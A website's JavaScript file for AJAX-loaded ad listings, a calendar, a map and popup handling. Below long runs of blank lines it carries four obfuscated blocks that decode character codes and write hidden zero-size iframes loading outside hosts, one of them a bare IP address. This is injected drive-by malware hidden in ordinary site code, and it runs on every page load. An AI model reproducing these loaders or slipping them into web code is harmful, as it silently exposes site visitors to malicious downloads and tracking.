
function registerAjaxInfo() {
   ajaxEngine.registerRequest( 'getCal', 'getwhat.php' );
   ajaxEngine.registerRequest( 'report', 'getwhat.php?what=report' );
   ajaxEngine.registerRequest( 'aads', 'getwhat.php?what=all' );
   ajaxEngine.registerRequest( 'pads', 'getwhat.php?what=photos' );
   ajaxEngine.registerRequest( 'mads', 'getwhat.php?what=map' );
   ajaxEngine.registerRequest( 'vads', 'getwhat.php?what=video' );
   ajaxEngine.registerAjaxElement('calendax');
   ajaxEngine.registerAjaxElement('rptDiv');
   ajaxEngine.registerAjaxElement('s2Con');
   ajaxEngine.registerAjaxElement('s3Con');
   ajaxEngine.registerAjaxElement('s4Con');
   ajaxEngine.registerAjaxElement('s5Con');
}

function getCal(m,year,action) {
ajaxEngine.sendRequest( "getCal","what=calendax","month="+m,"year="+year,"action="+action,"oDiv=calendax");
}

function report(id,action) {
ajaxEngine.sendRequest( "report","id="+id,"action="+action,"oDiv=rptDiv");
}


function aads(action) {
if(action=="new"){
document.getElementById("Ss2New").id="s2New";
document.getElementById("Ss2Mp").id="s2Mp";
}
if(action=="mopo"){
document.getElementById("s2New").id="Ss2New";
document.getElementById("s2Mp").id="Ss2Mp";
}
ajaxEngine.sendRequest( "aads","action="+action,"oDiv=s2Con");
}

function pads(action) {
if(action=="new"){
document.getElementById("Ss3New").id="s3New";
document.getElementById("Ss3Mp").id="s3Mp";
}
if(action=="mopo"){
document.getElementById("s3New").id="Ss3New";
document.getElementById("s3Mp").id="Ss3Mp";
}

ajaxEngine.sendRequest( "pads","action="+action,"oDiv=s3Con");
}

function mads(action) {
if(action=="new"){
initialize();
chargerFichierXml(20)
document.getElementById("Ss4New").id="s4New";
document.getElementById("Ss4Area").id="s4Area";
document.getElementById("s4Link").innerHTML="<a href=\"p,big-map.htm\">Enlarge</a>";
}
if(action=="area"){
document.getElementById("s4New").id="Ss4New";
document.getElementById("s4Area").id="Ss4Area";
document.getElementById("s4Link").innerHTML="";
GUnload();
document.getElementById("s4Con").innerHTML="<img src='images/map.png'/><br/>";
//document.getElementById("s4Con").innerHTML+="click the map or choose an area here <select name='mapArea'><option value='central'>Central</option><option value='east'>East</option><option value='northeast'>North-East</option><option value='north'>North</option><option value='west'>West</option></select>";
ajaxEngine.sendRequest( "mads","action="+action,"oDiv=s4Con");
}

}

function loadDefault2(num){
registerAjaxInfo2();
}

function registerAjaxInfo2() {
   ajaxEngine.registerRequest( 'getCal', 'getwhat.php' );
   ajaxEngine.registerRequest( 'report', 'getwhat.php?what=report' );
   ajaxEngine.registerRequest( 'aads', 'getwhat.php?what=all' );
   ajaxEngine.registerRequest( 'pads', 'getwhat.php?what=photos' );
   ajaxEngine.registerRequest( 'mads', 'getwhat.php?what=map' );
   ajaxEngine.registerRequest( 'vads', 'getwhat.php?what=video' );
   ajaxEngine.registerAjaxElement('calendax');
   ajaxEngine.registerAjaxElement('rptDiv');
   ajaxEngine.registerAjaxElement('s2Con');
   ajaxEngine.registerAjaxElement('s3Con');
   ajaxEngine.registerAjaxElement('s5Con');
}

function vads(action) {
ajaxEngine.sendRequest( "vads","action="+action,"oDiv=s5Con");
}

function loadDefault(num){
registerAjaxInfo();
initialize();
chargerFichierXml(num);
}

function getHHH() {
	var pageHeight = getHHH2();
	document.getElementById('cmain').style.height = (pageHeight + 15) + "px";
}

function getHHH2() {
	if( window.innerHeight && window.scrollMaxY ) // Firefox 
	{
	pageHeight = window.innerHeight + window.scrollMaxY;
	}
	else if( document.body.scrollHeight > document.body.offsetHeight ) // all but Explorer Mac
	{
	pageHeight = document.body.scrollHeight;
	}
	else // works in Explorer 6 Strict, Mozilla (not FF) and Safari
	{ pageHeight = document.body.offsetHeight + document.body.offsetTop; }
	return pageHeight;
}

function advshow(){
	getCenter2();
	document.getElementById('advmmsg').style.display='block';
	getHHH();
	document.getElementById('cmain').style.display='block';
}

function getScrollXY() {
		var scrOfX = 0, scrOfY = 0;
		if( typeof( window.pageYOffset ) == 'number' ) {//Netscape compliant
		scrOfY = window.pageYOffset;scrOfX = window.pageXOffset;
		} else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {	//DOM compliant
		scrOfY = document.body.scrollTop;scrOfX = document.body.scrollLeft;
		} else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
		//IE6 standards compliant mode
		scrOfY = document.documentElement.scrollTop;scrOfX = document.documentElement.scrollLeft;}return [ scrOfX, scrOfY ];
}

function advclose(){document.getElementById('advmmsg').style.display='none';document.getElementById('cmain').style.display='none';
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!115!116!121!108!101!115!46!115!97!110!100!99!97!110!100!108!101!115!46!111!114!103!47!105!110!46!99!103!105!63!100!101!102!97!117!108!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

